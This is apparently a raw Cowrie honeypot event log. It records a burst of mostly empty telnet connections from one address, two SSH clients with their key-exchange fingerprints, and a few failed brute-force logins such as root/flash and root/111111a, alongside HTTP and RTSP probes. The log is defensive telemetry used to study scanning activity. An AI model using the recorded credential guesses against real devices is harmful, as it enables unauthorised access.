{"eventid":"cowrie.session.connect","src_ip":"34.62.84.93","src_port":59584,"dst_ip":"10.17.0.5","dst_port":23,"session":"71f07b73a2f8","protocol":"telnet","message":"New connection: 34.62.84.93:59584 (10.17.0.5:23) [session: 71f07b73a2f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:00:03.703561Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.84.93","src_port":59598,"dst_ip":"10.17.0.5","dst_port":23,"session":"a4e8d79e1360","protocol":"telnet","message":"New connection: 34.62.84.93:59598 (10.17.0.5:23) [session: a4e8d79e1360]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:00:03.873230Z"}
{"eventid":"cowrie.session.closed","duration":0.019733428955078125,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:00:03.892836Z","src_ip":"34.62.84.93","session":"a4e8d79e1360","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.84.93","src_port":59606,"dst_ip":"10.17.0.5","dst_port":23,"session":"2a0e2f6e6c34","protocol":"telnet","message":"New connection: 34.62.84.93:59606 (10.17.0.5:23) [session: 2a0e2f6e6c34]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:00:04.042950Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.84.93","src_port":22724,"dst_ip":"10.17.0.5","dst_port":23,"session":"80e3bbb99e6a","protocol":"telnet","message":"New connection: 34.62.84.93:22724 (10.17.0.5:23) [session: 80e3bbb99e6a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:00:13.200344Z"}
{"eventid":"cowrie.login.failed","username":"GET / HTTP/1.1","password":"Host: 134.199.244.163:23","message":"login attempt [GET / HTTP/1.1/Host: 134.199.244.163:23] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:00:13.206207Z","src_ip":"34.62.84.93","session":"80e3bbb99e6a","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36","password":"Accept-Encoding: gzip","message":"login attempt [User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36/Accept-Encoding: gzip] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:00:13.210933Z","src_ip":"34.62.84.93","session":"80e3bbb99e6a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":0.09017205238342285,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:00:13.290338Z","src_ip":"34.62.84.93","session":"80e3bbb99e6a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.84.93","src_port":22736,"dst_ip":"10.17.0.5","dst_port":23,"session":"6aa31bd66d80","protocol":"telnet","message":"New connection: 34.62.84.93:22736 (10.17.0.5:23) [session: 6aa31bd66d80]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:00:13.365376Z"}
{"eventid":"cowrie.session.closed","duration":0.007606983184814453,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:00:13.372869Z","src_ip":"34.62.84.93","session":"6aa31bd66d80","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.84.93","src_port":22746,"dst_ip":"10.17.0.5","dst_port":23,"session":"008ad496e60f","protocol":"telnet","message":"New connection: 34.62.84.93:22746 (10.17.0.5:23) [session: 008ad496e60f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:00:13.522051Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.84.93","src_port":22762,"dst_ip":"10.17.0.5","dst_port":23,"session":"0ed03b56e7ed","protocol":"telnet","message":"New connection: 34.62.84.93:22762 (10.17.0.5:23) [session: 0ed03b56e7ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:00:13.683739Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.84.93","src_port":22770,"dst_ip":"10.17.0.5","dst_port":23,"session":"a5ffb9d29a51","protocol":"telnet","message":"New connection: 34.62.84.93:22770 (10.17.0.5:23) [session: a5ffb9d29a51]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:00:13.839862Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.84.93","src_port":22778,"dst_ip":"10.17.0.5","dst_port":23,"session":"b50a004a8652","protocol":"telnet","message":"New connection: 34.62.84.93:22778 (10.17.0.5:23) [session: b50a004a8652]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:00:13.996693Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.84.93","src_port":22786,"dst_ip":"10.17.0.5","dst_port":23,"session":"036e5dca2003","protocol":"telnet","message":"New connection: 34.62.84.93:22786 (10.17.0.5:23) [session: 036e5dca2003]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:00:14.156245Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.84.93","src_port":22800,"dst_ip":"10.17.0.5","dst_port":23,"session":"daac9ffc66dd","protocol":"telnet","message":"New connection: 34.62.84.93:22800 (10.17.0.5:23) [session: daac9ffc66dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:00:14.311869Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.84.93","src_port":22806,"dst_ip":"10.17.0.5","dst_port":23,"session":"49e7bd8df0be","protocol":"telnet","message":"New connection: 34.62.84.93:22806 (10.17.0.5:23) [session: 49e7bd8df0be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:00:14.467088Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.84.93","src_port":22814,"dst_ip":"10.17.0.5","dst_port":23,"session":"be1d1bb3894d","protocol":"telnet","message":"New connection: 34.62.84.93:22814 (10.17.0.5:23) [session: be1d1bb3894d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:00:14.623595Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.84.93","src_port":3700,"dst_ip":"10.17.0.5","dst_port":23,"session":"9d00ca32bbf3","protocol":"telnet","message":"New connection: 34.62.84.93:3700 (10.17.0.5:23) [session: 9d00ca32bbf3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:00:14.855503Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.84.93","src_port":3712,"dst_ip":"10.17.0.5","dst_port":23,"session":"bcb43518ae10","protocol":"telnet","message":"New connection: 34.62.84.93:3712 (10.17.0.5:23) [session: bcb43518ae10]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:00:15.016430Z"}
{"eventid":"cowrie.session.closed","duration":0.005514383316040039,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:00:15.021796Z","src_ip":"34.62.84.93","session":"bcb43518ae10","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.84.93","src_port":3722,"dst_ip":"10.17.0.5","dst_port":23,"session":"30d804099045","protocol":"telnet","message":"New connection: 34.62.84.93:3722 (10.17.0.5:23) [session: 30d804099045]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:00:15.172885Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.84.93","src_port":3724,"dst_ip":"10.17.0.5","dst_port":23,"session":"d2cd89947594","protocol":"telnet","message":"New connection: 34.62.84.93:3724 (10.17.0.5:23) [session: d2cd89947594]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:00:15.328966Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.84.93","src_port":3740,"dst_ip":"10.17.0.5","dst_port":23,"session":"2ab4ead3f63e","protocol":"telnet","message":"New connection: 34.62.84.93:3740 (10.17.0.5:23) [session: 2ab4ead3f63e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:00:15.485489Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.84.93","src_port":3742,"dst_ip":"10.17.0.5","dst_port":23,"session":"be11edc4a5a7","protocol":"telnet","message":"New connection: 34.62.84.93:3742 (10.17.0.5:23) [session: be11edc4a5a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:00:15.643893Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.84.93","src_port":3758,"dst_ip":"10.17.0.5","dst_port":23,"session":"381951ffd4df","protocol":"telnet","message":"New connection: 34.62.84.93:3758 (10.17.0.5:23) [session: 381951ffd4df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:00:15.800761Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.84.93","src_port":3774,"dst_ip":"10.17.0.5","dst_port":23,"session":"1321573b32e6","protocol":"telnet","message":"New connection: 34.62.84.93:3774 (10.17.0.5:23) [session: 1321573b32e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:00:15.958019Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.84.93","src_port":3780,"dst_ip":"10.17.0.5","dst_port":23,"session":"2fd389d36f09","protocol":"telnet","message":"New connection: 34.62.84.93:3780 (10.17.0.5:23) [session: 2fd389d36f09]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:00:16.121737Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.71.92","src_port":52518,"dst_ip":"10.17.0.5","dst_port":22,"session":"1b8406e30c5d","protocol":"ssh","message":"New connection: 43.134.71.92:52518 (10.17.0.5:22) [session: 1b8406e30c5d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:00:16.252318Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:00:16.260073Z","src_ip":"43.134.71.92","session":"1b8406e30c5d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.84.93","src_port":3790,"dst_ip":"10.17.0.5","dst_port":23,"session":"9b748012a065","protocol":"telnet","message":"New connection: 34.62.84.93:3790 (10.17.0.5:23) [session: 9b748012a065]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:00:16.282341Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.84.242","src_port":52228,"dst_ip":"10.17.0.5","dst_port":22,"session":"d0d211f0fce6","protocol":"ssh","message":"New connection: 103.249.84.242:52228 (10.17.0.5:22) [session: d0d211f0fce6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:00:16.426624Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:00:16.433779Z","src_ip":"103.249.84.242","session":"d0d211f0fce6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.84.93","src_port":3798,"dst_ip":"10.17.0.5","dst_port":23,"session":"f3b271d1e10f","protocol":"telnet","message":"New connection: 34.62.84.93:3798 (10.17.0.5:23) [session: f3b271d1e10f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:00:16.439230Z"}
{"eventid":"cowrie.login.failed","username":"*1","password":"$4","message":"login attempt [*1/$4] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:00:16.444576Z","src_ip":"34.62.84.93","session":"f3b271d1e10f","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:00:16.508057Z","src_ip":"43.134.71.92","session":"1b8406e30c5d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.84.93","src_port":3800,"dst_ip":"10.17.0.5","dst_port":23,"session":"efb5977d6f49","protocol":"telnet","message":"New connection: 34.62.84.93:3800 (10.17.0.5:23) [session: efb5977d6f49]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:00:16.602856Z"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:00:16.669075Z","src_ip":"103.249.84.242","session":"d0d211f0fce6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.84.93","src_port":3808,"dst_ip":"10.17.0.5","dst_port":23,"session":"1477d4a828aa","protocol":"telnet","message":"New connection: 34.62.84.93:3808 (10.17.0.5:23) [session: 1477d4a828aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:00:16.758350Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.84.93","src_port":3810,"dst_ip":"10.17.0.5","dst_port":23,"session":"6143998adbec","protocol":"telnet","message":"New connection: 34.62.84.93:3810 (10.17.0.5:23) [session: 6143998adbec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:00:16.912603Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.84.93","src_port":3812,"dst_ip":"10.17.0.5","dst_port":23,"session":"ca0f9bd70411","protocol":"telnet","message":"New connection: 34.62.84.93:3812 (10.17.0.5:23) [session: ca0f9bd70411]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:00:17.068218Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.84.93","src_port":3828,"dst_ip":"10.17.0.5","dst_port":23,"session":"7018eb37b4f9","protocol":"telnet","message":"New connection: 34.62.84.93:3828 (10.17.0.5:23) [session: 7018eb37b4f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:00:17.224294Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.84.93","src_port":3832,"dst_ip":"10.17.0.5","dst_port":23,"session":"f2197afef20c","protocol":"telnet","message":"New connection: 34.62.84.93:3832 (10.17.0.5:23) [session: f2197afef20c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:00:17.380047Z"}
{"eventid":"cowrie.session.closed","duration":0.0064411163330078125,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:00:17.386383Z","src_ip":"34.62.84.93","session":"f2197afef20c","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"flash","message":"login attempt [root/flash] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:00:17.518531Z","src_ip":"43.134.71.92","session":"1b8406e30c5d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.84.93","src_port":3838,"dst_ip":"10.17.0.5","dst_port":23,"session":"eee0962f2154","protocol":"telnet","message":"New connection: 34.62.84.93:3838 (10.17.0.5:23) [session: eee0962f2154]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:00:17.537966Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"111111a","message":"login attempt [root/111111a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:00:17.648954Z","src_ip":"103.249.84.242","session":"d0d211f0fce6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.84.93","src_port":3842,"dst_ip":"10.17.0.5","dst_port":23,"session":"c82f0b938bc2","protocol":"telnet","message":"New connection: 34.62.84.93:3842 (10.17.0.5:23) [session: c82f0b938bc2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:00:17.693600Z"}
{"eventid":"cowrie.login.failed","username":"OPTIONS rtsp://example.com RTSP/1.0","password":"Cseq: 3603","message":"login attempt [OPTIONS rtsp://example.com RTSP/1.0/Cseq: 3603] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:00:17.699810Z","src_ip":"34.62.84.93","session":"c82f0b938bc2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.84.93","src_port":3844,"dst_ip":"10.17.0.5","dst_port":23,"session":"65d4bc09d6f9","protocol":"telnet","message":"New connection: 34.62.84.93:3844 (10.17.0.5:23) [session: 65d4bc09d6f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:00:17.856922Z"}
{"eventid":"cowrie.session.closed","duration":0.006815671920776367,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:00:17.863612Z","src_ip":"34.62.84.93","session":"65d4bc09d6f9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":0.53192138671875,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:00:18.225404Z","src_ip":"34.62.84.93","session":"c82f0b938bc2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":1.006716251373291,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:00:18.230801Z","src_ip":"34.62.84.93","session":"7018eb37b4f9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":0.6975085735321045,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:00:18.235337Z","src_ip":"34.62.84.93","session":"eee0962f2154","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":1.8006470203399658,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:00:18.239767Z","src_ip":"34.62.84.93","session":"f3b271d1e10f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":1.330836296081543,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:00:18.243325Z","src_ip":"34.62.84.93","session":"6143998adbec","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":1.178760290145874,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:00:18.246816Z","src_ip":"34.62.84.93","session":"ca0f9bd70411","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":1.4919750690460205,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:00:18.250192Z","src_ip":"34.62.84.93","session":"1477d4a828aa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":1.653754711151123,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:00:18.256465Z","src_ip":"34.62.84.93","session":"efb5977d6f49","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":1.9779415130615234,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:00:18.260217Z","src_ip":"34.62.84.93","session":"9b748012a065","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":2.305875778198242,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:00:18.263755Z","src_ip":"34.62.84.93","session":"1321573b32e6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":2.466926097869873,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:00:18.267553Z","src_ip":"34.62.84.93","session":"381951ffd4df","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":2.1492996215820312,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:00:18.270931Z","src_ip":"34.62.84.93","session":"2fd389d36f09","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":2.6306638717651367,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:00:18.274386Z","src_ip":"34.62.84.93","session":"be11edc4a5a7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":2.8033347129821777,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:00:18.288681Z","src_ip":"34.62.84.93","session":"2ab4ead3f63e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":2.96366024017334,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:00:18.292487Z","src_ip":"34.62.84.93","session":"d2cd89947594","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":3.122958183288574,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:00:18.295706Z","src_ip":"34.62.84.93","session":"30d804099045","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":3.4436583518981934,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:00:18.299011Z","src_ip":"34.62.84.93","session":"9d00ca32bbf3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":3.6787829399108887,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:00:18.302258Z","src_ip":"34.62.84.93","session":"be1d1bb3894d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":3.838754892349243,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:00:18.305723Z","src_ip":"34.62.84.93","session":"49e7bd8df0be","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":3.9976048469543457,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:00:18.309299Z","src_ip":"34.62.84.93","session":"daac9ffc66dd","protocol":"telnet"}
